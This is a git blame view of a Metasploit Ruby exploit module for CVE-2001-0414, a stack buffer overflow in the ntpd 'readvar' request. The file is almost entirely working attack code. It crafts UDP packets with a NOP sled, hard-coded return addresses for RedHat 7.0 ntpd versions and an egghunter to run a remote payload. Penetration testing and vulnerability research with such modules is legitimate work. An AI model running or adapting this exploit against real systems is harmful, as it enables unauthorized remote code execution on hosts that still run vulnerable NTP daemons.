Files
metasploit-gs/modules/exploits/multi/ntp/ntp_overflow.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

91 lines
2.8 KiB
Ruby
Raw Normal View History

2008-05-12 14:49:45 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2008-05-12 14:49:45 +00:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2009-12-06 05:50:37 +00:00
Rank = GoodRanking
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::Udp
include Msf::Exploit::Remote::Egghunter
2013-08-30 16:28:54 -05:00
2008-05-12 14:49:45 +00:00
def initialize(info = {})
super(update_info(info,
2013-11-15 00:03:42 -06:00
'Name' => 'NTP Daemon readvar Buffer Overflow',
2008-05-12 14:49:45 +00:00
'Description' => %q{
This module exploits a stack based buffer overflow in the
ntpd and xntpd service. By sending an overly long 'readvar'
request it is possible to execute code remotely. As the stack
is corrupted, this module uses the Egghunter technique.
},
2017-11-09 03:00:24 +11:00
'Author' => 'aushack',
2008-05-12 14:49:45 +00:00
'License' => MSF_LICENSE,
'References' =>
[
2008-05-12 14:49:45 +00:00
[ 'CVE', '2001-0414' ],
[ 'OSVDB', '805' ],
2009-07-16 16:02:24 +00:00
[ 'BID', '2540' ],
[ 'US-CERT-VU', '970472' ],
2008-05-12 14:49:45 +00:00
],
'Payload' =>
{
'Space' => 220,
'BadChars' => "\x00\x01\x02\x16,=",
'StackAdjustment' => -3500,
'PrependEncoder' => Metasm::Shellcode.assemble(Metasm::Ia32.new, "xor eax,eax mov al,27 int 0x80").encode_string, # alarm(0)
'Compat' =>
2008-05-12 14:49:45 +00:00
{
'ConnectionType' => '-reverse',
},
},
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86 ],
'Targets' =>
[
[ 'RedHat Linux 7.0 ntpd 4.0.99j', { 'Ret' => 0xbffffbb0 } ],
[ 'RedHat Linux 7.0 ntpd 4.0.99j w/debug', { 'Ret' => 0xbffff980 } ],
[ 'RedHat Linux 7.0 ntpd 4.0.99k', { 'Ret' => 0xbffffbb0 } ],
#[ 'FreeBSD 4.2-STABLE', { 'Ret' => 0xbfbff8bc } ],
[ 'Debugging', { 'Ret' => 0xdeadbeef } ],
],
'Privileged' => true,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2001-04-04',
2008-05-12 14:49:45 +00:00
'DefaultTarget' => 0))
2013-08-30 16:28:54 -05:00
register_options([Opt::RPORT(123)])
2008-05-12 14:49:45 +00:00
end
2013-08-30 16:28:54 -05:00
2008-05-12 14:49:45 +00:00
def exploit
2013-08-30 16:28:54 -05:00
hunter = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
2008-05-12 14:49:45 +00:00
egg = hunter[1]
2013-08-30 16:28:54 -05:00
2008-05-12 14:49:45 +00:00
connect_udp
2013-08-30 16:28:54 -05:00
2008-05-12 14:49:45 +00:00
pkt1 = "\x16\x02\x00\x01\x00\x00\x00\x00\x00\x00\x016stratum="
pkt2 = "\x16\x02\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00"
2013-08-30 16:28:54 -05:00
2008-05-12 14:49:45 +00:00
sploit = pkt1 + make_nops(512 - pkt1.length)
sploit[(220 + pkt1.length), 4] = [target['Ret']].pack('V')
sploit[(224 + pkt1.length), hunter[0].length] = hunter[0]
2013-08-30 16:28:54 -05:00
2008-05-12 14:49:45 +00:00
print_status("Trying target #{target.name}...")
2013-08-30 16:28:54 -05:00
2008-05-12 14:49:45 +00:00
print_status("Sending hunter")
udp_sock.put(sploit)
select(nil,nil,nil,0.5)
2013-08-30 16:28:54 -05:00
2008-05-12 14:49:45 +00:00
print_status("Sending payload")
udp_sock.put(pkt1 + egg)
select(nil,nil,nil,0.5)
2013-08-30 16:28:54 -05:00
2008-05-12 14:49:45 +00:00
print_status("Calling overflow trigger")
udp_sock.put(pkt2)
select(nil,nil,nil,0.5)
2013-08-30 16:28:54 -05:00
2008-05-12 14:49:45 +00:00
handler
disconnect_udp
2013-08-30 16:28:54 -05:00
2008-05-12 14:49:45 +00:00
end
2009-07-16 16:02:24 +00:00
end